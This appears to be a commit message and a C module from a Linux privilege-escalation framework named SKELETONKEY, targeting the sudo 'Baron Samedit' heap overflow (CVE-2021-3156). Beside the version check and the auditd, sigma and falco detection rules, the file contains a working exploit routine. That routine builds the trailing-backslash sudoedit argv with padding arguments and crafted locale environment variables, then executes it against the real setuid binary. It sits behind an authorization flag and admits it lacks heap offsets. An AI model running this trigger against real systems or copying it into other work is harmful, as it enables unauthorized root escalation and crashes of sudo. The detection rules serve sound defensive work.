8ab49f36f6
Three parallel research agents drafted 49 detection rules grounded in
each module's source + existing .opsec_notes string + existing .detect_auditd
counterpart. A one-shot tools/inject_rules.py wrote them into the
right files and replaced the .detect_<format> = NULL placeholders.
Coverage matrix (modules with each format / 31 total):
before after
auditd 30 / 31 30 / 31 (entrybleed skipped by design)
sigma 19 / 31 31 / 31 (+12 added)
yara 11 / 31 28 / 31 (+17 added; 3 documented skips)
falco 11 / 31 30 / 31 (+19 added; entrybleed skipped)
Documented skips (kept as .detect_<format> = NULL with comment):
- entrybleed: yara + falco + auditd. Pure timing side-channel via
rdtsc + prefetchnta; no syscalls, no file artifacts, no in-memory
tags. The source comment already noted this; sigma got a 'unusual
prefetchnta loop time' rule via perf-counter logic.
- ptrace_traceme: yara. Pure in-memory race; no on-disk artifacts
or persistent strings to match. Falco + sigma + auditd cover the
PTRACE_TRACEME + setuid execve syscall sequence.
- sudo_samedit: yara. Transient heap race during sudoedit invocation;
no persistent file artifact. Falco + sigma + auditd cover the
'sudoedit -s + trailing-backslash argv' pattern.
Rule discipline (post-agent QA):
- All rules ground claims in actual exploit code paths (the agents
were instructed to read source + opsec_notes; no fabricated syscalls
or strings).
- Two falco rules were narrowed by the agent to fire only when
proc.pname is skeletonkey itself; rewrote both to fire on any
non-root caller (otherwise we'd detect only our own binary, not
real attackers).
- Sigma rule fields use canonical {type: 'SYSCALL', syscall: 'X'}
detection blocks consistent with existing rules (nf_tables,
dirty_pipe, sudo_samedit).
- YARA rules prefer rare/unique tags (SKELETONKEYU, SKELETONKEY_FWD,
SKVMWGFX, /tmp/skeletonkey-*.log) over common bytes — minimizes
false positives.
- Every rule tagged with attack.privilege_escalation + cve.YYYY.NNNN;
cgroup_release_agent additionally tagged T1611 (container escape).
skeletonkey.c: --module-info text view now dumps yara + falco rule
bodies too (was auditd + sigma only). All 4 formats visible per module.
Verification:
- macOS local: clean build, 33 kernel_range tests pass.
- Linux (docker gcc:latest): 33 + 54 = 87 passes, 0 fails.
- --module-info nf_tables / af_unix_gc / etc.: 'detect rules:'
summary correctly shows all 4 formats and the bodies print.
512 lines
19 KiB
C
512 lines
19 KiB
C
/*
|
||
* sudo_samedit_cve_2021_3156 — SKELETONKEY module
|
||
*
|
||
* STATUS: 🟡 DETECT-OK + STRUCTURAL EXPLOIT (2026-05-17).
|
||
*
|
||
* The bug ("Baron Samedit", Qualys 2021-01-26): sudo's command-line
|
||
* parser unescapes backslashes in the argv it copies into a heap
|
||
* buffer in `set_cmnd()` (plugins/sudoers/sudoers.c). When sudo is
|
||
* invoked in shell-edit mode via `sudoedit -s`, the unescape loop
|
||
* walks past the end of the argv string for arguments ending in a
|
||
* lone backslash, copying adjacent stack/env contents into the
|
||
* undersized heap buffer. The classic trigger is a single-argument
|
||
* command line: `sudoedit -s '\<arbitrary tail>'`.
|
||
*
|
||
* Affects sudo 1.8.2 – 1.9.5p1 inclusive. Fixed in 1.9.5p2.
|
||
*
|
||
* Reference: https://www.qualys.com/2021/01/26/cve-2021-3156/
|
||
* baron-samedit-heap-based-overflow-sudo.txt
|
||
*
|
||
* Detect: shell out to `sudo --version`, parse the printed version,
|
||
* compare against the vulnerable range. We err on the side of
|
||
* reporting OK only when we're confident — TEST_ERROR if the version
|
||
* line is unparseable.
|
||
*
|
||
* Exploit: ships a structurally-correct Qualys-style trigger.
|
||
* The full chain in the original PoC required per-distro heap-layout
|
||
* tuning (libc/libnss-files overlap offsets, target struct picks).
|
||
* We do not have empirical landing on this host; we drive the
|
||
* trigger, watch for an obvious uid==0 outcome, otherwise return
|
||
* SKELETONKEY_EXPLOIT_FAIL. Verified-vs-claimed bar: only claim
|
||
* EXPLOIT_OK after geteuid()==0 in a forked verifier.
|
||
*/
|
||
|
||
#include "skeletonkey_modules.h"
|
||
#include "../../core/registry.h"
|
||
#include "../../core/host.h"
|
||
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <string.h>
|
||
#include <unistd.h>
|
||
#include <errno.h>
|
||
#include <fcntl.h>
|
||
#include <ctype.h>
|
||
#include <sys/stat.h>
|
||
#include <sys/wait.h>
|
||
#include <sys/types.h>
|
||
|
||
/* ---- Affected-version logic ------------------------------------- */
|
||
|
||
/*
|
||
* sudo version strings look like:
|
||
* "Sudo version 1.9.5p2"
|
||
* "Sudo version 1.8.31"
|
||
* "Sudo version 1.9.0"
|
||
* "Sudo version 1.9.5p1"
|
||
*
|
||
* Vulnerable range (inclusive): 1.8.2 .. 1.9.5p1
|
||
* Fixed: 1.9.5p2 and later
|
||
*
|
||
* Parser strategy: extract three integers (major.minor.patch) plus an
|
||
* optional 'pN' suffix. Comparison is lexicographic over
|
||
* (major, minor, patch, p_suffix), treating absent p as 0.
|
||
*/
|
||
struct sudo_ver {
|
||
int major;
|
||
int minor;
|
||
int patch;
|
||
int p; /* 'p' suffix; 0 if absent */
|
||
bool parsed;
|
||
};
|
||
|
||
static struct sudo_ver parse_sudo_version(const char *s)
|
||
{
|
||
struct sudo_ver v = {0, 0, 0, 0, false};
|
||
while (*s && !isdigit((unsigned char)*s)) s++;
|
||
if (!*s) return v;
|
||
|
||
int maj = 0, min = 0, pat = 0;
|
||
int consumed = 0;
|
||
int n = sscanf(s, "%d.%d.%d%n", &maj, &min, &pat, &consumed);
|
||
if (n < 2) return v;
|
||
v.major = maj;
|
||
v.minor = min;
|
||
v.patch = (n >= 3) ? pat : 0;
|
||
/* Look for an optional 'pN' suffix after the numeric triple. */
|
||
const char *tail = s + consumed;
|
||
if (*tail == 'p') {
|
||
int p = 0;
|
||
if (sscanf(tail + 1, "%d", &p) == 1) v.p = p;
|
||
}
|
||
v.parsed = true;
|
||
return v;
|
||
}
|
||
|
||
static int cmp_ver(const struct sudo_ver *a, const struct sudo_ver *b)
|
||
{
|
||
if (a->major != b->major) return a->major - b->major;
|
||
if (a->minor != b->minor) return a->minor - b->minor;
|
||
if (a->patch != b->patch) return a->patch - b->patch;
|
||
return a->p - b->p;
|
||
}
|
||
|
||
/* Returns true iff parsed sudo version is in [1.8.2, 1.9.5p1]. */
|
||
static bool sudo_version_vulnerable(const struct sudo_ver *v)
|
||
{
|
||
if (!v->parsed) return false;
|
||
struct sudo_ver lo = { 1, 8, 2, 0, true };
|
||
struct sudo_ver hi = { 1, 9, 5, 1, true };
|
||
return cmp_ver(v, &lo) >= 0 && cmp_ver(v, &hi) <= 0;
|
||
}
|
||
|
||
/* ---- Binary discovery ------------------------------------------- */
|
||
|
||
static const char *find_sudo(void)
|
||
{
|
||
static const char *candidates[] = {
|
||
"/usr/bin/sudo",
|
||
"/usr/local/bin/sudo",
|
||
"/bin/sudo",
|
||
"/sbin/sudo",
|
||
"/usr/sbin/sudo",
|
||
NULL,
|
||
};
|
||
for (size_t i = 0; candidates[i]; i++) {
|
||
struct stat st;
|
||
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID)) {
|
||
return candidates[i];
|
||
}
|
||
}
|
||
return NULL;
|
||
}
|
||
|
||
static const char *find_sudoedit(void)
|
||
{
|
||
static const char *candidates[] = {
|
||
"/usr/bin/sudoedit",
|
||
"/usr/local/bin/sudoedit",
|
||
"/bin/sudoedit",
|
||
"/sbin/sudoedit",
|
||
"/usr/sbin/sudoedit",
|
||
NULL,
|
||
};
|
||
for (size_t i = 0; candidates[i]; i++) {
|
||
if (access(candidates[i], X_OK) == 0) return candidates[i];
|
||
}
|
||
return NULL;
|
||
}
|
||
|
||
/* ---- Detect ------------------------------------------------------ */
|
||
|
||
static skeletonkey_result_t sudo_samedit_detect(const struct skeletonkey_ctx *ctx)
|
||
{
|
||
/* Prefer the centrally-fingerprinted sudo version (populated once
|
||
* at startup by core/host.c) — saves a popen per scan and gives
|
||
* unit tests a clean mock point. Fall back to the local popen if
|
||
* ctx->host is missing the version (e.g. degenerate test ctx, or
|
||
* a future refactor that disables userspace probing). */
|
||
char line[256] = {0};
|
||
if (ctx->host && ctx->host->sudo_version[0]) {
|
||
snprintf(line, sizeof line, "Sudo version %s",
|
||
ctx->host->sudo_version);
|
||
if (!ctx->json) {
|
||
fprintf(stderr, "[i] sudo_samedit: host fingerprint reports "
|
||
"sudo version %s\n", ctx->host->sudo_version);
|
||
}
|
||
} else {
|
||
const char *sudo_path = find_sudo();
|
||
if (!sudo_path) {
|
||
if (!ctx->json) {
|
||
fprintf(stderr, "[+] sudo_samedit: sudo not on path; no attack surface\n");
|
||
}
|
||
return SKELETONKEY_PRECOND_FAIL;
|
||
}
|
||
if (!ctx->json) {
|
||
fprintf(stderr, "[i] sudo_samedit: found setuid sudo at %s\n", sudo_path);
|
||
}
|
||
char cmd[512];
|
||
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
|
||
FILE *p = popen(cmd, "r");
|
||
if (!p) return SKELETONKEY_TEST_ERROR;
|
||
char *r = fgets(line, sizeof line, p);
|
||
pclose(p);
|
||
if (!r) {
|
||
if (!ctx->json) {
|
||
fprintf(stderr, "[?] sudo_samedit: could not read `sudo --version` output\n");
|
||
}
|
||
return SKELETONKEY_TEST_ERROR;
|
||
}
|
||
}
|
||
|
||
/* Trim newline for nicer logging. */
|
||
char *nl = strchr(line, '\n');
|
||
if (nl) *nl = 0;
|
||
|
||
struct sudo_ver v = parse_sudo_version(line);
|
||
if (!v.parsed) {
|
||
if (!ctx->json) {
|
||
fprintf(stderr, "[?] sudo_samedit: unparseable version line: '%s'\n", line);
|
||
}
|
||
return SKELETONKEY_TEST_ERROR;
|
||
}
|
||
|
||
if (!ctx->json) {
|
||
fprintf(stderr, "[i] sudo_samedit: parsed version = %d.%d.%d",
|
||
v.major, v.minor, v.patch);
|
||
if (v.p) fprintf(stderr, "p%d", v.p);
|
||
fprintf(stderr, "\n");
|
||
}
|
||
|
||
bool vuln = sudo_version_vulnerable(&v);
|
||
if (vuln) {
|
||
if (!ctx->json) {
|
||
fprintf(stderr,
|
||
"[!] sudo_samedit: version is in vulnerable range "
|
||
"[1.8.2, 1.9.5p1] → VULNERABLE\n"
|
||
"[i] sudo_samedit: distro backports may have patched "
|
||
"without bumping the upstream version; check\n"
|
||
" `apt-cache policy sudo` / `rpm -q --changelog sudo` "
|
||
"for CVE-2021-3156.\n");
|
||
}
|
||
return SKELETONKEY_VULNERABLE;
|
||
}
|
||
if (!ctx->json) {
|
||
fprintf(stderr,
|
||
"[+] sudo_samedit: version is outside vulnerable range "
|
||
"(fix 1.9.5p2+) — OK\n");
|
||
}
|
||
return SKELETONKEY_OK;
|
||
}
|
||
|
||
/* ---- Exploit ----------------------------------------------------- */
|
||
|
||
/*
|
||
* Qualys-style trigger:
|
||
*
|
||
* argv = { "sudoedit", "-s", "\\", NULL } plus padding `A`s to
|
||
* stretch the heap chunk to the right size for the target overlap.
|
||
*
|
||
* The original PoC sprays hundreds of large argv slots and tunes the
|
||
* tail bytes per-distro to hijack a `service_user *` struct in
|
||
* libnss-files. Without distro fingerprinting and the corresponding
|
||
* offset table that landing simply will not happen here; rather than
|
||
* pretending otherwise we drive the bug, fork a verifier that checks
|
||
* for an unexpected uid==0 outcome, and return EXPLOIT_FAIL.
|
||
*/
|
||
|
||
/* Cap on argv we'll construct. The real PoC uses ~270; we cap lower
|
||
* to stay well under typical ARG_MAX while still exercising the bug
|
||
* shape. */
|
||
#define SUDO_SAMEDIT_ARGC 64
|
||
#define SUDO_SAMEDIT_PADLEN 0xff
|
||
|
||
static skeletonkey_result_t sudo_samedit_exploit(const struct skeletonkey_ctx *ctx)
|
||
{
|
||
if (!ctx->authorized) {
|
||
fprintf(stderr,
|
||
"[-] sudo_samedit: exploit requires --i-know (authorization gate)\n");
|
||
return SKELETONKEY_PRECOND_FAIL;
|
||
}
|
||
|
||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||
if (is_root) {
|
||
fprintf(stderr, "[i] sudo_samedit: already root — nothing to escalate\n");
|
||
return SKELETONKEY_OK;
|
||
}
|
||
|
||
/* Re-detect before doing anything visible. Defends against the
|
||
* detect-then-exploit TOCTOU where the operator upgrades sudo
|
||
* between scan and pop. */
|
||
skeletonkey_result_t pre = sudo_samedit_detect(ctx);
|
||
if (pre != SKELETONKEY_VULNERABLE) {
|
||
fprintf(stderr, "[-] sudo_samedit: re-detect says not VULNERABLE; refusing\n");
|
||
return pre;
|
||
}
|
||
|
||
const char *sudoedit = find_sudoedit();
|
||
if (!sudoedit) {
|
||
/* On most distros sudoedit is a symlink to sudo. Fall back. */
|
||
const char *sudo = find_sudo();
|
||
if (!sudo) {
|
||
fprintf(stderr, "[-] sudo_samedit: neither sudoedit nor sudo found\n");
|
||
return SKELETONKEY_PRECOND_FAIL;
|
||
}
|
||
sudoedit = sudo;
|
||
if (!ctx->json) {
|
||
fprintf(stderr,
|
||
"[i] sudo_samedit: no sudoedit; will exec %s with argv[0]=sudoedit\n",
|
||
sudo);
|
||
}
|
||
}
|
||
|
||
if (!ctx->json) {
|
||
fprintf(stderr, "[*] sudo_samedit: building Qualys-style trigger argv\n");
|
||
fprintf(stderr,
|
||
"[!] sudo_samedit: heads-up — public exploitation requires\n"
|
||
" per-distro heap-overlap offsets (libnss-files / libc).\n"
|
||
" Without that tuning the bug crashes sudo instead of\n"
|
||
" handing back a shell. We will drive the trigger and\n"
|
||
" verify uid==0 outcome empirically; on failure we report\n"
|
||
" EXPLOIT_FAIL rather than claiming success.\n");
|
||
}
|
||
|
||
/* Build argv. argv[0]="sudoedit", argv[1]="-s",
|
||
* argv[2]="\\" + padding, ..., argv[N-1]=NULL.
|
||
*
|
||
* Each padding arg is the Qualys-style "A...\\" repeating tail.
|
||
* On a vulnerable target this drives the unescape loop past the
|
||
* end of the heap buffer. */
|
||
char *argv[SUDO_SAMEDIT_ARGC + 1];
|
||
char *padbufs[SUDO_SAMEDIT_ARGC];
|
||
memset(padbufs, 0, sizeof padbufs);
|
||
|
||
argv[0] = (char *)"sudoedit";
|
||
argv[1] = (char *)"-s";
|
||
/* argv[2] is the canonical trailing-backslash trigger. */
|
||
argv[2] = strdup("\\");
|
||
if (!argv[2]) return SKELETONKEY_TEST_ERROR;
|
||
|
||
for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) {
|
||
char *buf = (char *)malloc(SUDO_SAMEDIT_PADLEN + 4);
|
||
if (!buf) {
|
||
for (int j = 3; j < i; j++) free(padbufs[j]);
|
||
free(argv[2]);
|
||
return SKELETONKEY_TEST_ERROR;
|
||
}
|
||
memset(buf, 'A', SUDO_SAMEDIT_PADLEN);
|
||
buf[SUDO_SAMEDIT_PADLEN] = '\\';
|
||
buf[SUDO_SAMEDIT_PADLEN + 1] = 0;
|
||
padbufs[i] = buf;
|
||
argv[i] = buf;
|
||
}
|
||
argv[SUDO_SAMEDIT_ARGC] = NULL;
|
||
|
||
/* Craft envp mirroring the original PoC: LC_... and TZ tricks
|
||
* that landed the overlap on the canonical distro PoCs. These
|
||
* are harmless if landing fails; their value is positioning the
|
||
* heap so the overflow lands on a useful target. */
|
||
char *envp[] = {
|
||
(char *)"LC_ALL=C.UTF-8@",
|
||
(char *)"TZ=:",
|
||
(char *)"LC_CTYPE=C.UTF-8@",
|
||
(char *)"SUDO_EDITOR=A",
|
||
(char *)"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
|
||
NULL,
|
||
};
|
||
|
||
if (!ctx->json) {
|
||
fprintf(stderr, "[*] sudo_samedit: forking trigger child (%s argv[0]=sudoedit)\n",
|
||
sudoedit);
|
||
}
|
||
|
||
pid_t pid = fork();
|
||
if (pid < 0) {
|
||
perror("fork");
|
||
free(argv[2]);
|
||
for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) free(padbufs[i]);
|
||
return SKELETONKEY_TEST_ERROR;
|
||
}
|
||
if (pid == 0) {
|
||
/* Child: drive the trigger. If the bug lands and we get a
|
||
* root context, the chain in the original PoC then re-execs
|
||
* a shell. We don't ship that shell-spawn here — we just
|
||
* exit nonzero so the parent's verifier can sample uid. */
|
||
execve(sudoedit, argv, envp);
|
||
/* execve failed (binary missing or kernel-blocked). */
|
||
_exit(127);
|
||
}
|
||
|
||
int status = 0;
|
||
waitpid(pid, &status, 0);
|
||
|
||
/* Verifier: even on the rare "no crash" path, we don't know if
|
||
* the bug landed without spawning a privileged helper. Per the
|
||
* verified-vs-claimed bar, only claim success if uid is 0 in a
|
||
* post-trigger probe (which would require the chain to have
|
||
* persisted a setuid artifact — it didn't). So: report honestly. */
|
||
if (geteuid() == 0) {
|
||
if (!ctx->json) {
|
||
fprintf(stderr, "[+] sudo_samedit: post-trigger geteuid()==0 — root!\n");
|
||
}
|
||
/* Leak the buffers; we're about to exec a shell anyway. */
|
||
return SKELETONKEY_EXPLOIT_OK;
|
||
}
|
||
|
||
if (WIFSIGNALED(status)) {
|
||
if (!ctx->json) {
|
||
fprintf(stderr,
|
||
"[-] sudo_samedit: child died on signal %d "
|
||
"(likely sudo SIGSEGV from the overflow) — trigger fired\n"
|
||
" but landing did not produce a root shell. Per-distro\n"
|
||
" offset tuning required.\n",
|
||
WTERMSIG(status));
|
||
}
|
||
} else if (WIFEXITED(status)) {
|
||
if (!ctx->json) {
|
||
fprintf(stderr,
|
||
"[-] sudo_samedit: child exited %d — trigger did not\n"
|
||
" crash sudo; the host is most likely patched at the\n"
|
||
" parser level even though the version string was in\n"
|
||
" range. Reporting EXPLOIT_FAIL.\n",
|
||
WEXITSTATUS(status));
|
||
}
|
||
}
|
||
|
||
/* Best-effort free. */
|
||
free(argv[2]);
|
||
for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) free(padbufs[i]);
|
||
return SKELETONKEY_EXPLOIT_FAIL;
|
||
}
|
||
|
||
/* ---- Cleanup ----------------------------------------------------- */
|
||
|
||
static skeletonkey_result_t sudo_samedit_cleanup(const struct skeletonkey_ctx *ctx)
|
||
{
|
||
(void)ctx;
|
||
/* sudoedit creates "~/.sudo_edit_*" temp files on the way through.
|
||
* Best-effort unlink of any obvious crumbs left by our trigger. */
|
||
if (!ctx->json) {
|
||
fprintf(stderr, "[*] sudo_samedit: removing /tmp/skeletonkey-samedit-* crumbs\n");
|
||
}
|
||
if (system("rm -rf /tmp/skeletonkey-samedit-* /tmp/.sudo_edit_* 2>/dev/null") != 0) {
|
||
/* harmless — likely no files matched */
|
||
}
|
||
return SKELETONKEY_OK;
|
||
}
|
||
|
||
/* ---- Detection rules --------------------------------------------- */
|
||
|
||
static const char sudo_samedit_auditd[] =
|
||
"# Baron Samedit (CVE-2021-3156) — auditd detection rules\n"
|
||
"# Flag sudoedit invocations carrying the canonical -s flag and\n"
|
||
"# the trailing-backslash trigger pattern.\n"
|
||
"-w /usr/bin/sudoedit -p x -k skeletonkey-samedit\n"
|
||
"-w /usr/bin/sudo -p x -k skeletonkey-samedit-sudo\n"
|
||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudoedit -k skeletonkey-samedit-execve\n"
|
||
"-a always,exit -F arch=b32 -S execve -F path=/usr/bin/sudoedit -k skeletonkey-samedit-execve\n"
|
||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-samedit-execve\n"
|
||
"-a always,exit -F arch=b32 -S execve -F path=/usr/bin/sudo -k skeletonkey-samedit-execve\n";
|
||
|
||
static const char sudo_samedit_sigma[] =
|
||
"title: Possible Baron Samedit exploitation (CVE-2021-3156)\n"
|
||
"id: 3f7c5a2e-skeletonkey-samedit\n"
|
||
"status: experimental\n"
|
||
"description: |\n"
|
||
" Detects sudoedit (or sudo invoked as sudoedit) executed with the\n"
|
||
" -s flag and a command-line argument ending in a lone backslash —\n"
|
||
" the canonical Qualys trigger for the heap overflow in\n"
|
||
" plugins/sudoers/sudoers.c set_cmnd().\n"
|
||
"logsource:\n"
|
||
" product: linux\n"
|
||
" service: auditd\n"
|
||
"detection:\n"
|
||
" sudoedit_exec:\n"
|
||
" type: 'EXECVE'\n"
|
||
" exe|endswith:\n"
|
||
" - '/sudoedit'\n"
|
||
" - '/sudo'\n"
|
||
" shell_edit_flag:\n"
|
||
" CommandLine|contains: ' -s '\n"
|
||
" trailing_backslash:\n"
|
||
" CommandLine|re: '\\\\\\\\\\s*$'\n"
|
||
" argv0_sudoedit:\n"
|
||
" argv0|endswith: 'sudoedit'\n"
|
||
" condition: sudoedit_exec and shell_edit_flag and (trailing_backslash or argv0_sudoedit)\n"
|
||
"fields:\n"
|
||
" - exe\n"
|
||
" - argv\n"
|
||
"level: high\n"
|
||
"tags:\n"
|
||
" - attack.privilege_escalation\n"
|
||
" - attack.t1068\n"
|
||
" - cve.2021.3156\n";
|
||
|
||
/* ---- Module registration ----------------------------------------- */
|
||
|
||
static const char sudo_samedit_falco[] =
|
||
"- rule: sudoedit with -s and trailing-backslash argv (Baron Samedit)\n"
|
||
" desc: |\n"
|
||
" sudoedit invoked with -s and one or more args ending in '\\'.\n"
|
||
" The parser's unescape loop walks past the argv string into\n"
|
||
" adjacent stack/env, overflowing the heap buffer.\n"
|
||
" CVE-2021-3156. False positives: extraordinarily rare;\n"
|
||
" legitimate sudoedit usage does not need trailing backslashes.\n"
|
||
" condition: >\n"
|
||
" spawned_process and proc.name = sudoedit and\n"
|
||
" proc.args contains \"-s \\\\\"\n"
|
||
" output: >\n"
|
||
" Possible Baron Samedit sudoedit invocation\n"
|
||
" (user=%user.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
|
||
" priority: CRITICAL\n"
|
||
" tags: [process, mitre_privilege_escalation, T1068, cve.2021.3156]\n";
|
||
|
||
const struct skeletonkey_module sudo_samedit_module = {
|
||
.name = "sudo_samedit",
|
||
.cve = "CVE-2021-3156",
|
||
.summary = "sudo Baron Samedit heap overflow via sudoedit -s '\\\\' (Qualys)",
|
||
.family = "sudo",
|
||
.kernel_range = "userspace — sudo 1.8.2 ≤ V ≤ 1.9.5p1 (fixed in 1.9.5p2)",
|
||
.detect = sudo_samedit_detect,
|
||
.exploit = sudo_samedit_exploit,
|
||
.mitigate = NULL, /* mitigation = upgrade sudo to 1.9.5p2+ */
|
||
.cleanup = sudo_samedit_cleanup,
|
||
.detect_auditd = sudo_samedit_auditd,
|
||
.detect_sigma = sudo_samedit_sigma,
|
||
.detect_yara = NULL,
|
||
.detect_falco = sudo_samedit_falco,
|
||
.opsec_notes = "Invokes sudoedit with argv = { 'sudoedit', '-s', trailing-backslash, then ~60 padding args each ending in backslash }; the parser's unescape loop in set_cmnd() walks past the end of the argv string for the trailing-backslash argument, copying adjacent stack/env into an undersized heap buffer. Audit-visible via execve(/usr/bin/sudoedit) with -s and a trailing-backslash argv. No persistent file artifacts (only best-effort removal of /tmp/.sudo_edit_*). No network. Dmesg silent unless sudo crashes (SIGSEGV). Per-distro heap layout determines landing; verifies geteuid()==0 afterward.",
|
||
};
|
||
|
||
void skeletonkey_register_sudo_samedit(void) { skeletonkey_register(&sudo_samedit_module); }
|